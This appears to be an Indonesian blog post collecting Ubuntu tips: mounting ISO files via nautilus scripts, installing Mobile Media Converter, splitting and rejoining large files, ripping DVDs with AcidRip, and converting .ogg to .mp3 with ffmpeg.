Catatan: saya menyebutkan ubuntu karena saya mencobanya di ubuntu, namun demikian ini bisa diterapkan di linux Gnome, untuk KDE sepertinya ada pembahasannya di www.kde-look.org, silakan berselancar ria. Berikut ini screenshot theme yang terinstall di desktop saya.

(Klik gambar untuk memperbesar)




Mounting file ISO di Ubuntu dengan nautilus script di Linux (Gnome)

Kita sering membackup CD/DVD dengan format ISO, format image yang mengizinkan kita menyimpan sekepin CD/DVD di dalam hardisk dengan struktur dan isi yang tidak berubah terhadap CD/DVD aslinya. Untuk membuat file ISO dari sebuah CD/DVD di linux dengan desktop Gnome, kita biasa menggunakan software standar yaitu Brasero yang bekerja cukup baik, untuk menginstalnya cukup ketik di terminal:

sudo apt-get install brasero

Kita tidak membahas pembuatan file ISO di sini, karena saya yakin setelah menginstall brasero kamu akan bisa dengan sendirinya karena memang ia sangat mudah digunakan. Permasalahannya adalah kita terkadang ingin melihat isi ISO tersebut untuk sekedar melihat-lihat atau mengkopi sebagian isinya tanpa harus mem-burning kembali file tersebut ke sekeping CD/DVD.

Nautilus sebagai "windows explorer"-nya linux gnome memberikan kemudahan dengan mengizinkan menginstall script di dalamnya, sehingga nantinya fungsi script tersebut akan muncul jika kita mengklik kanan sebuah file. Nah, dalam hal ini kita ingin memberi tambahan menu fungsi "mount" dan "unmount" jika kita mengklik kanan sebuah file ISO. Jadi kita tidak perlu software apapun, hanya dengan klik kanan dan semuanya beres.

Untuk itu ikuti cara-cara berikut:

1. Download nautilus script untuk fungsi mount dan unmount di:





[LINK]

2. Simpan dan extract file tersebut, akan didapat 2 file, yaitu mount.sh dan unmount.sh, letakkan di satu tempat, sebagai contoh di folder /home/dhani/Documents (dhani adalah username kamu di linux)

3. Buka terminal dan ketik comand berikut disitu:
sudo chmod +x /home/dhani/Documents/mount.sh
sudo chmod +x /home/dhani/Documents/unmount.sh
Ini berfungsi untuk mengubah permission file agar bisa dijalankan sebagai script

4. Lagi, ketik di terminal comand berikut:

sudo mv /home/dhani/Documents/mount.sh ~/.gnome2/nautilus-scripts/
sudo mv /home/dhani/Documents/unmount.sh ~/.gnome2/nautilus-scripts/
Ini berfungsi untuk memindahkan kedua file tersebut ke folder nautilus script

5. Selesai.

Cobalah klik kanan pada file ISO kamu, akan muncul submenu Scripts dan diantara isinya adalah mount.sh dan unmount.sh, mount.sh jika kamu ingin memasang file ISO tersebut untuk digunakan, sedangkan unmount.sh berfungsi 'mencabut' file ISO, sama fungsinya dengan eject.

Berikut screenshotnya di desktop saya:

(Klik gambar untuk memperbesar)

Konversi Video (Video Convert) di Ubuntu dengan Mobile Media Converter

Untuk urusan konversi video, linux Ubuntu biasanya menyediakan aplikasi-aplikasi tersebut di repositori defaultnya, katakan saja seperti ffmpeg dan mencoder. Namun aplikasi tersebut dijalankan lewat terminal alias memakai comand line. Bagi yang terbiasa dengan comand line tentu tak masalah, namun bagi yang ingin menggunakan modus grafik tak usah kecewa. Ada salah satu aplikasi GUI dinamakan Mobile Media Converter yang powerfull dalam mengkonversikan format-format video jenis *.3gp, *.wma, *.avi, *.Mpeg 1/2, *.wmv, *.mov, *.psp dan masih banyak lagi format video dan suara yang didukungnya.

Langsung saja cara-cara instalasinya:

1. Buka website utamanya untuk mengambil file instalasi *.deb nya.

http://www.miksoft.net/ atau langsung ke file downloadnya di
http://www.miksoft.net/products/

2. Download file dengan nama mmc_1.6.0_i386, saat tulisan ini dibuat file itu merupakan file yang terbaru, jadi pastikan ambil versi yang terbaru. Klik link tersebut dan download akan dimulai.

3. Klik dua kali file hasil download tadi untuk memulai instalasi, terkadang dalam instalasi diperlukan file2 dependencinya, jangan kuatir synaptic akan menginstallnya otomatis.

4. Selesai, bisa lihat gambar berikut aplikasi yang sudah terinstall di laptop saya.

(Klik gambar untuk memperbesar)




Split file (Memecahkan File) berukuran besar dan menyatukan kembali (OS: Linux)

Teringat pengalaman saya yang ingin meng-copy file berukuran besar yang ada di komputer untuk dipindahkan ke laptop, file tersebut berukuran 700 Mb, tapi kapasitas flashdisk cuma 256 MB, karena sangat mendesak waktu itu dan sifat saya yang tidak sabar, saya langsung googling dan dapat hasil yang terbilang cukup mudah ternyata, tidak perlu instalasi apapun dan hanya perlu bermain di terminal (non GUI).

1. Buka terminal dan arahkan ke folder aktif, dalam hal ini saya ingin memecah file ubuntu-8.10-desktop-i386.iso yang ada di direktori ~/Master/ISO, maka saya mengetikkan di terminal:

cd ~/Master/ISO

2. Saatnya proses memecah file berukuran 700 Mb tersebut menjadi empat bagian agar muat di flashdisk saya yang hanya 256 Mb, saya membaginya masing-masing berukuran 200 Mb, ketik perintah di terminal:

split -d -b 200m ubuntu-8.10-desktop-i386.iso ubuntu-8.10-desktop-i386.iso.part

Tunggu beberapa saat sampai selesai, sekarang di folder aktif bisa dilihat ada 4 file hasil split tadi, dengan nama ubuntu-8.10-desktop-i386.iso.part01 sampai dengan ubuntu-8.10-desktop-i386.iso.part04, tiga file pertama berukuran tepat 200 Mb dan file keempat berukuran 98,8 Mb.

3. Saya mengkopi file tersebut ke laptop dan saya letakkan di folder yang sama, yaitu ~/Master/Iso kemudian saya menggabungkannya kembali dengan perintah:

cd ~/Master/ISO
cat ubuntu-8.10-desktop-i386.iso.part* > ubuntu-8.10-desktop-i386.iso

Tunggu beberapa saat hingga selesai, maka di folder aktif tersebut akan muncul satu file utuh bernama ubuntu-8.10-desktop-i386.iso yang sama persis seperti file sebelum dipecahkan tadi.

thanks to: http://balikpapan.linux.or.id

Ripping DVD di Linux Ubuntu 9.10

Terkadang kita ingin mengoleksi DVD movie kita ke dalam hardisk, dengan kekuatiran kita terhadap goresan dan hal lain yang bisa membuat DVD kita tak terbaca lagi. Meng-copy isi DVD secara utuh ke hardisk untuk koleksi mungkin bukan hal bijak mengingat media penyimpanan kita terbatas, terutama bila kita mengoleksi banyak DVD.

Untuk itu diperlukan sebuah tools yang memenuhi syarat antara lain sebagai berikut:
1. Hasil ripping dalam bentuk format video yang umum
2. Kualitas ripping tidak terlalu jauh berbeda dengan kualitas DVD aslinya
3. Mampu menghasilkan ripping dengan ukuran video tidak lebih dari 700 MB
4. Proses yang mudah, bahkan untuk pemula

Untuk Windows, keempat syarat tersebut dipenuhi oleh software free dan open source, yaitu Auto Gordian Knot. Untuk bahasan ini saya menulisnya di artikel tersendiri.

Untuk Linux sendiri saya mencoba di Ubuntu versi 9.10, setelah hasil googling dan mencoba dua software ripping di ubuntu yaitu dvd::rip dan AcidRip, saya lebih prefer ke AcidRip dengan alasan ia memenuhi keempat syarat di atas. Bahkan termasuk cepat dalam meripping DVD dengan hasil yang memuaskan. Instalasi AcidRip di Ubuntu 9.10 sangat mudah, pada Menu buka Ubuntu Software Center, pada kolom 'search' ketik AcidRip, langsung instalasi lewat sana. Program yang terinstall ada di Menu - Sound & Video.

Berikut tutorial sederhana untuk ripping DVD dengan AcidRip.

1. Saat pertamakali dibuka muncul jendela utama seperti ini



























2. Masukkan DVD yang ingin di ripping, copy folder VIDEO_TS ke hardisk anda, misalnya di /home/dhani

3. Kembali ke AcidRip, pada jendela Video Source masukkan path tempat VIDEO_TS berada, dalam hal ini masukkan path /home/dhani dan tekan tombol Load

4. Pada jendela di bawahnya akan muncul beberapa bagian file video, anda pilih bagian yang durasinya paling panjang, menandakan itu adalah file video utama

5. Pada Tab General, isilah kolom berikut:
- Track title : terserah anda, itu adalah nama file untuk hasil ripping.
- Filename : dibiarkan default, artinya hasil ripping nanti ada di folder default yang ditampilkannya (dalam hal ini ada di folder /home/dhani).
- File size : isi dengan nominal 700, artinya hasil ripping nantinya sebesar 700 Megabyte
Kolom lain dibiarkan default.

6. Pindah ke Tab Video, pada jendela Video tentukan pengaturan pada combo berikut:
- Codec : xvid, ini adalah decoder yang menurut saya paling bagus.
- Scale : tentukan Width = 700, untuk Height ia akan mengikuti aspek rasio dan akan menyesuaikan dengan Width yang sudah kita tentukan, jadi tak usah diubah manual.

7. Hanya itu saja pengaturannya, kita langsung dapat mulai ripping dengan menekan tombol Start

Convert File .ogg ke .mp3 di Ubuntu melalui Terminal

File .ogg merupakan file audio terkompresi dengan algoritma open source dan bebas, sedangkan .mp3 merupakan kompresi audio dengan algoritma dengan hak milik. Dengan alasan itu, linux secara default mendukung penuh file audio dengan ekstensi .ogg.

Namun ada kalanya kita perlu mengkonversi .ogg ke .mp3 dengan alasan kompatibel. Cara yang paling cepat dan tidak ribet untuk mengkonversikan file .ogg ke .mpg adalah melalui command line di Terminal.

1. Install libavcodec:

sudo apt-get install libavcodec-unstripped-52

2. Install ffmpeg

sudo apt-get install ffmpeg

Cara penggunaan, pada direktori kerja dimana file .ogg tersimpan, konversikan semua file .ogg ke file-file .mpg dengan perintah berikut:

for name in *.ogg; do ffmpeg -ab 128 -i "$name" "$(basename "$name" .ogg).mp3"; done;